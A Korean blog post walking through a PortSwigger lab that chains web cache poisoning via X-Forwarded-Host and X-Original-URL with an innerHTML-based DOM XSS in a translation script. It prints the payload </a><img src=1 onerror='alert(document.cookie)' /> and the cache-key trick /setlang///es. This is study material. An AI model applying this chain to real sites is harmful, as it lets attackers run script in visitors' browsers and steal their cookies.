뭉크테크
Combining web cache poisoning vulnerabilities 본문
이번 시간은 지금까지 배운 웹캐시 포이즈닝 어택과 관련된 모든 공격들을 조합하여 실습해보도록 하겠습니다. 사전 지식은 이전 포스트들을 참고해주시면 좋겠습니다. 물론 진행하다가 처음 접하는 부분은 그때마다 부연 설명하도록 하겠습니다.
이번 공격 실습 시나리오는 Combining web cache poisoning vulnerabilities이다. 이전까지 배운 웹 캐싱, 리다이랙팅 위치 캐싱 오염, DOM XSS, CORS 우회 등을 활용하여 대상 서버를 웹 캐시 포이즈닝을 하도록 하겠습니다.
이전과 똑같이 확장자 중 Param Miner 툴을 이용하여 취약한 부분을 공략할 헤더가 없는지 확인하고자 대상 서버 홈페이지 위치에 Param Miner의 Guess headers를 사용하였다.
그 결과, x-forwarded-host 라는 헤더를 사용하면 응답 결과가 달라진다는 Output을 받았다. 이는 즉, x-forwarded-host 라는 헤더를 이용한 웹 캐시 포이즈닝이 가능하다는 걸 시사한다.
X-Forwarded-Host: example.com 라는 헤더를 삽입하여 대상 서버에게 페이지 요청을 한 결과, 위 두 그림의 전과 후를 비교해보면, script의 data 라는 dict 변수에서 host 키의 값이 대상 서버 호스트에서 example.com 이라는 호스트로 변경됨을 확인할 수 있다. 캐시버스터를 통한 테스트가 통과되었다. 즉, 캐시 포이즈닝이 성공하였다.
저 data 라는 변수는 어떻게 활용되는지 확인하고자, 해당 html 페이지에다 data라는 키워드로 검색한 결과, initTraslations 라는 함수의 인자로 활용됨을 확인할 수 있었다. 정확히는 data.host/resources/json/translations.json 이라는 데이터가 해당 함수의 인자로 활용되고 있다. 그래서 해당 함수는 어떻게 구성되어있는지 그리고 해당 인자값은 원래 어떤 형태로 전달되는지 확인하고 싶었다.
해당 함수의 내용을 확인하기위해 GET /?cb=123 이라는 요청뒤에 오는 js 파일 내용을 확인하고자 하였다. 그 결과, 해당 파일안에 initTraslations 이라는 함수의 선언과 정의를 확인하였다. 그리고 해당 함수의 내용을 살펴보면 아래와 같다. 밑에 js 를 제대로 이해할려면 프론트쪽 함수랑 연결지어야 하므로 많이 왔다갔다해서 봐야할 것이니, 최대한 맥락에 맞춰 이해시켜보도록한다.
function initTranslations(jsonUrl)
{
// 쿠키에서 'lang'이라는 이름의 값을 찾는다.
// (예: "lang=ko" → "ko"를 lang 변수에 저장)
const lang = document.cookie.split(';')
.map(c => c.trim().split('=')) // 각각 "key=value" 형태로 나눔
.filter(p => p[0] === 'lang') // 'lang' 쿠키만 남김
.map(p => p[1]) // 값만 뽑음
.find(() => true); // 첫 번째 값만 가져옴
// 재귀 함수: 주어진 딕셔너리(dict)의 키와 일치하는 문자열을 가진 요소를 만난다면,
// 기존 문자열을 번역 문자열로 교체하는 함수. (innerHTML 기반 => DOM XSS 취약점)
const translate = (dict, el) => {
for (const k in dict) {
if (el.innerHTML === k) { // 현재 노드의 텍스트가 번역 대상일 경우
el.innerHTML = dict[k]; // 번역된 텍스트로 교체
} else {
el.childNodes.forEach(el_ => // 아니라면 자식 노드에 대해 재귀적으로 반복
translate(dict, el_));
}
}
}
// 비동기 fetch 요청: JSON 번역 파일을 가져온다.
fetch(jsonUrl)
.then(r => r.json()) // JSON 파싱
.then(j => {
// lang-select라는 id를 가진 <select> 요소를 가져온다.
const select = document.getElementById('lang-select');
if (select) {
for (const code in j) {
const name = j[code].name;
// <option> 태그 생성
const el = document.createElement("option");
el.setAttribute("value", code);
el.innerText = name;
// <select>에 option 추가, 이때 제일 맨 끝 인덱스 번호를 갖게되는 것
select.appendChild(el);
// 현재 lang 값과 일치하면 selectedIndex가 사용자가 실제로 선택한 언어의 인덱스 번호로 바뀜
// 그래서 언어를 선택하고 나면, 해당 언어로 메뉴가 바뀌어져있는 것
if (code === lang) {
select.selectedIndex = select.childElementCount - 1;
}
}
}
// lang이 JSON 데이터에 존재하고, 영어가 아닌 경우
// 번역 대상인 DOM 엘리먼트에 대해 텍스트를 변환함
// 여기서 'maincontainer' 클래스를 가진 요소 내에서 변환이 일어남
lang in j &&
lang.toLowerCase() !== 'en' &&
j[lang].translations &&
translate(j[lang].translations,
document.getElementsByClassName('maincontainer')[0]);
});
}
const lang = document.cookie.split(';')
.map(c => c.trim().split('=')) // 각각 "key=value" 형태로 나눔
.filter(p => p[0] === 'lang') // 'lang' 쿠키만 남김
.map(p => p[1]) // 값만 뽑음
.find(() => true); // 첫 번째 값만 가져옴
해당 코드는 요청자의 cookie 영역에서 lang부분(언어)에서 value 값을 추출하는 코드이고 해당 코드는 lang 이라는 변수에 들어간다. 그리고 쿠키 영역은 어떻게 형성되어 있는지 알아보자.
사용자가 드롭다운 메뉴에서 영어(English) 를 클릭하면, 저렇게 사용자쪽에서 자동으로 GET /setlang/en? 이라는 요청을 서버로 보내게된다. 이때 서버는 사용자의 쿠키를 lang=en; Path=/; Secure 로 세팅해준다. 이때, 저 lang 이라는 변수의 값 en를 추출해서 방금 본 js의 lang 이라는 변수에 저장하는 것이다. 그러면 왜 갑자기 사용자측은 서버에게 GET /setlang/en? 이라는 요청을 보내게 되는가 살펴보면, 아래 앞서 서버에게서 받아온 프론트쪽 코드에서 이벤트 헨들러가 등록한 onchange 라는 속성에 의한 것이다. 해당 코드를 밑에서 잘개잘개 하나씩 뜯어서 분석해보도록한다.
((ev) => {
ev.currentTarget.parentNode.action = '/setlang/' + ev.target.value;
ev.currentTarget.parentNode.submit();
})(event)
🧩 전체 맥락
- 이 <select> 태그는 <form> 안에 있어.
- <option value="xx">언어 이름</option>으로 언어를 선택하는 드롭다운이야.
- 사용자가 옵션을 선택하면 자동으로 해당 언어로 전환되게 하고 싶어서,
- 이 onchange 핸들러로 폼을 자동으로 submit() 해버리는 거야.
🔍 한 줄씩 해석
((ev) => { ... })(event)
- 즉시 실행 함수 (IIFE, Immediately Invoked Function Expression) 형태.
- (ev) => { ... } 는 화살표 함수 (arrow function).
- event는 브라우저에서 암묵적으로 넘겨주는 이벤트 객체고, 이걸 ev라는 이름으로 받아.
즉, "onchange" 발생 시 event 객체를 ev함수의 인자로 활용되어 ev 함수를 실행한다는 의미.
그래서 만약 내가 언어 목록을 드롭다운하고, 특정 언어를 클릭하면 실행된다는 의미 이때, event 라는 객체는 박스로 비유 가능
- ((ev)=>{...})(event)는 마치:
- "이 박스(event)를 이 함수(ev)한테 바로 던져줘!"
- 그 박스엔:
- 누가 클릭했는지 (target)
- 무슨 값이 선택됐는지 (value)
- 누가 이벤트 처리중인지 (currentTarget)
- 이벤트 타입 (type)
- 기타 정보들이 담겨있음
그래서 만약 사용자가 언어 드롭다운메뉴에서 English를 클릭하면, 그 순간, 변화를 감지한 onchange 라는 속성이 event 라는 이벤트 객체에 위 정보가 담기게 되고, ev 라는 함수의 인자로 토스되어 ev 함수를 트리거하는 것이다. 그리고 ev 함수의 정의 내용 또한 아래에 자세히 나온다.
ev.currentTarget
- 이벤트가 걸려있는 요소, 즉 <select id="lang-select"> 자체.
- 참고로 ev.target은 실제로 선택된 <option> 요소야.
ev.currentTarget.parentNode
- <select>의 부모인 <form> 요소를 가리킴.
ev.currentTarget.parentNode.action = '/setlang/' + ev.target.value
- 이건 폼의 action 속성을 동적으로 설정하는 거야.
- 선택된 옵션의 value를 뒤에 붙여서,
예를 들어 English 선택 시 → /setlang/en 요청을 대상 서버로 전송
ev.currentTarget.parentNode.submit();
- <form>을 JS로 강제로 제출(submit)해버리는 명령.
- 그러니까 언어 드롭다운만 바꿨을 뿐인데 자동으로 폼이 제출되면서 언어가 전환되는 거지.
🧠 한 줄 요약
"선택된 언어 코드로 /setlang/{lang} 경로를 만들고, 폼을 제출해서 서버에 언어 설정 요청을 보내는 JS 코드."
그렇게 해당 함수가 실행되고 나면 방금 위에서 본 것대로 위와 같은 응답을 서버로부터 받는다.
const translate = (dict, el) => {
for (const k in dict) {
if (el.innerHTML === k) { // 현재 노드의 텍스트가 번역 대상일 경우
el.innerHTML = dict[k]; // 번역된 텍스트로 교체
} else {
el.childNodes.forEach(el_ => // 아니라면 자식 노드에 대해 재귀적으로 반복
translate(dict, el_));
}
}
}
이 함수는 간단히 말하면, html의 maincontainer 영역을 모두 검사하여 번역할 대상인지 확인하고, 번역할 대상이면 번역 언어로 교체해주는 코드이다.
// lang이 JSON 데이터에 존재하고, 영어가 아닌 경우
// 번역 대상인 DOM 엘리먼트에 대해 텍스트를 변환함
// 여기서 'maincontainer' 클래스를 가진 요소 내에서 변환이 일어남
lang in j &&
lang.toLowerCase() !== 'en' &&
j[lang].translations &&
translate(j[lang].translations,
document.getElementsByClassName('maincontainer')[0]);
});
참고로 dict 라는 매개변수는 뒤에서 보면 알겠지만, /resources/json/translations.json 의 특정 언어 value에서 translations 키의 value 값들이고,
el 이라는 매개변수는 maincontainer 영역의 첫번째 요소이다. 즉 위 사진을 보면 알 수 있듯이, 저 빨간 영역이라 보면 되고 저 요소들이 전부 translate 라는 함수의 el이라는 매개변수로 전달되는 것이다.
maincontainer 영역은 위 그림을 알 수있다. 해당 페이지의 거의 모든 영역이라 보면 된다. 그럼 어떤 문자열들이 번역되는지는 밑에 이어서 받는 json 데이터를 보면 알 수 있다.
그리고 이어서 json 데이터 요청에 관한 답을 받을 수 있었다.
크게 보면, 언어별 키워드를 큰 key로 잡고, 이에 대한 value로 name과 tanslations 라는 키로 잡은 다음, 또 그 각각의 value로 저렇게 나와있다. 즉, 번역 목적 언어의 풀네임은 name 이라는 key에 저장되고, 실제 번역은 "Return to list", "View details", "Description:" 이라는 문자열이 번역 목적 언어로 번역되는 것이다. 영어는 해당 페이지의 원어이기에 굳이 tanslations 이라는 key는 만들지 않은듯하다.
그래서 한 번 스페인어로 바꿔보면 어떻게 바뀔지 확인해보았다. "View details", 부분이 스페인로 바뀐 걸 위 그림을 보면 알 수 있고,
"Return to list", "Description" 이라는 부분 또한 스페인어로 바뀐 것을 볼 수있다.
// 비동기 fetch 요청: JSON 번역 파일을 가져온다.
fetch(jsonUrl)
.then(r => r.json()) // JSON 파싱
.then(j => {
// lang-select라는 id를 가진 <select> 요소를 가져온다.
const select = document.getElementById('lang-select');
if (select) {
for (const code in j) {
const name = j[code].name;
// <option> 태그 생성
const el = document.createElement("option");
el.setAttribute("value", code);
el.innerText = name;
// <select>에 option 추가, 이때 제일 맨 끝 인덱스 번호를 갖게되는 것
select.appendChild(el);
// 현재 lang 값과 일치하면 selectedIndex가 사용자가 실제로 선택한 언어의 인덱스 번호로 바뀜
// 그래서 언어를 선택하고 나면, 해당 언어로 메뉴가 바뀌어져있는 것
if (code === lang) {
select.selectedIndex = select.childElementCount - 1;
}
}
}
다음 함수를 이어서 분석하자면, fetch 함수가 인자로 받은 jsonUrl은 방금 위에서 본 /resources/json/translations.json 파일이다. 해당 파일이 json 형태로 파싱되고, lang-select라는 id를 가진 요소를 select 라는 변수로 가져오게 된다. 그리고 option태그를 만들어 lang-select 라는 요소에 자식 요소로서 추가해준다.
해당 자식 요소들은 el 이라는 객체 변수로 취급하여 해당 변수를 이용해 option 태그에다가 value 값으로 방금 json 파일의 특정 언어의 (스페인어 선택시 es)key를 넣는것이다. 그리고 태그 안에 문자열은 해당 json 데이터의 name key의 value(스페인어 선택시 English) 를 넣게된다.
그래서 위 그림을 보면, 해당 option 태그들이 lang-select 라는 요소 안에 들어가 저렇게 하나의 드롭 다운 메뉴 리스트를 형성하는 것이고,
if (code === lang) {
select.selectedIndex = select.childElementCount - 1;
}
선택한 언어가 code 부분과 일치하면 아래 그림과 같이 select.selectedIndex로 인해 마치 사용자가 선택된게 저장된 것처럼 남겨지는 것이다.
그 다음, /setlang/es? 요청 다음에 /?localized=1 이라는 get 요청을 볼 수 있다. 이는 앞선 요청이 302 라는 리다이렉트 응답을 받앋고, 이에 대상 서버는 /?localized=1 이라는 경로로 리다이렉팅 해준것이다. 그러면 일단 저 리다이렉팅 되는 영역 또한 취약한 부분을 알고자 burpsuite에서 Param Miner 라는 툴을 이용해 반응이 있는 헤더를 찾고자했다.
그 결과, X-Forwarded-Host 와 X-Original-URL 이라는 헤더가 응답 결과에 반응이 있다는 것을 알게 된다. X-Original-URL 라는 헤더는 처음보기에 아래에 설명을 적어둔다.
✅ 요약 정의:
X-Original-URL은
역방향 프록시(예: Nginx, Apache, CDN 등)가
원래의 요청 URL을 다른 경로로 내부 라우팅하거나 리다이렉트할 때,
초기 요청의 URL이 무엇이었는지 기억하기 위해 추가하는 HTTP 헤더야.
📦 예시 상황:
✅ 클라이언트 요청:
- GET /admin/dashboard HTTP/1.1
Host: example.com
✅ 프록시(Nginx)가 내부적으로 경로 재작성:
- location /admin/ {
proxy_pass http://backend/internal_admin/;
}
이 경우 백엔드 서버는 요청을 이렇게 받음:
- GET /internal_admin/dashboard HTTP/1.1
💥 문제: 백엔드 입장에서는 원래 요청이 /admin/dashboard였는지 모름
그래서 프록시가 이런 헤더를 추가함:
- X-Original-URL: /admin/dashboard
그럼 백엔드는:
- 로깅용으로 원래 경로 기록 가능
- 리다이렉션할 때 원래 경로로 다시 돌려줄 수 있음
즉 리다이렉션할 대상 목적지를 정해주는 헤더라고 보면 된다.
일단 여기까지해서 정리하자면, 목적은 악성스크립트를 실행시키는 것이고, 그걸 위해선 스크립트가 삽입되어 실행될 만한 곳을 알아보자했다.
그 결과 위에서 봤듯이 언어를 번역하는 과정에서 번역 언어를 랜더링시에 스크립트가 실행되는데 이때, translate 라는 함수에서 innerHTML 이라는 함수를 사용하는 것이고, 이는 DOM XSS의 취약점이라 보면 된다. 이 DOM XSS 취약점을 활용하기위해선 대상 서버가 사용자에게 전달할 json 데이터의 translations key의 value 값으로 악성스크립트를 삽입하면 되는 것이다. 그리고 대상 서버가 참조하는 json 파일의 요청 주소를 악성 사이트의 json 파일 주소로 바꾸고자 위에서 본 X-Forwarded-Host 헤더를 이용해서 웹캐시 포이즈닝을 해야한다.
그래서 형식에 맞춰 위와 같이 작성해준다. 파일 위치는 위와 같이 작성해주고, CORS 정책 때문에 헤더에 Access-Control-Allow-Origin: * 라는 헤더를 삽입하였고, 바디 부분은 앞서 json 데이터 형식과 유사하게 작성하되, 사용자가 홈페이지에 접속하자마자, 악성스크립트를 띄우기 위해 View details 라는 문자열을 악성스크립트로 바꾼 후 저장하였다.
그리고 그 결과, 위 그림과 같이 X-Forwarded-Host: exploit-0a61008e040a5fea80f90267010100bf.exploit-server.net 라는 헤더를 삽입하고, 리다이렉팅 되는 곳의 웹 캐시를 포이즈닝 하고자 /?localized=1 이라는 URL로 설정하였다. 그 결과, response 영역을 보면, data 영역의 host 부분에 방금본 악성 호스트 네임이 삽입된 것을 볼 수 있고,
그 결과, 해당 경로로 대상서버에게 페이지 요청을 한 결과, </a><img src=1 onerror='alert(document.cookie)' /> 라는 스크립트가 실행된 것을 위 그림을 통해 확인할 수 있다. 그러나 이건 사용자가 언어 선택 드롭다운메뉴에서 스페인어를 선택하고, locations=1 이라는 경로로 리다이렉팅 되어야 해당 스크립트가 해당 사용자에게 실행되는 것이지. 대상 서버 홈페이지의 기본경로에서는 실행되지 않는다. 그래서 X-Original-URL: 이라는 헤더를 이용하도록 했다. 왜냐하면 사용자가 본 서버 홈페이지 경로 https://0abe00b304c95fa18025033700140029.web-security-academy.net 라는 곳에 GET /을 하게되면, 자동으로 https://0abe00b304c95fa18025033700140029.web-security-academy.net/?locations=1 라는 경로로 리다이렉팅 되도록 만들어주고 싶기때문이다.
이를 위해 중간 지점인 /setlang 이라는 경로를 이해해야한다. 왜냐하면 여기서 리다이렉팅이 일어나기때문이다. 참고로 요청헤더에 X-Original-URL 이라는 헤더가 있다고 해도 CDN에서 해당 요청 경로에 대해 백엔드가 처리할 수 있는 경로라면 굳이 리다이렉트 해주지 않는다. 따라서 리다이렉트 해주는 저 지점을 공략해야한다. 그러나 처음 시도때는 캐시미스가 떴다. 이 경로는 보안상 민감한 동작을 하므로 일반적으로 캐시하지 않는다고 응답 헤더의 Cache-Control: private 그걸 명시하고 있었다.
그래서 일부러 틀리게 적었다. /setlang///es 라고 말이다. 그랬더니, /setlang/es로 리다이렉팅 캐시 설정 성공하였다. 그 이유는 CDN 같은 프록시가 X-Original-URL을 그대로 백엔드로 전달하고 백엔드는 그 경로를 정규화해서 /setlang/es 로 리디렉션하였고, 그 /setlang/es는 캐싱된 것이다. 좀 더 자세히 말하자면, 기존 GET /setlang/es는 이미 캐싱된 설정이고, 그걸 프록시가 그대로 받아 우리한테 곧바로 전달하므로 캐시 포이즈닝을 할 수 없었다. 그러나 /setlang///es는 처음 보는 경로니까 프록시는 캐시 키가 없어서 백엔드로 전달하게된다. 백엔드는 내부적으로 전달받은 URL을 정규화해서 /setlang/es처럼 처리함. 프록시는 그 응답을 받고, 처음 본 키(/setlang///es)로 새로 캐시하게 되는 것이다. 그래서 캐시 포이즈닝에 성공하게된다.
그리고 위 두 개의 요청을 거의 동시에 같이 보냈고, 대상 서버 홈페이지에 재접속을 한 결과, 아래 동영상을 보면, 실제로 재접속을 한 결과, /?location=1 이라는 경로로 리다이렉팅되어 악성스크립트가 실행된 걸 확인할 수 있다.
홈페이지 접속(/) => X-Original-Url에 의해 /setlang/es로 리다이렉팅 => /?locations=1 로 리다이렉팅 /setlang/es로 인해 쿠키값에 lang=es로 설정됨. => js 파일에서 es가 인자값으로 설정된 translate 함수 실행 이때, json 데이터 저장된 es 키의 translations 값 중 하나인 </a><img src=1 onerror='alert(document.cookie)' /> 스크립트를 innerHTML에 의해 HTML 태그로 취급되어 실행하게됨.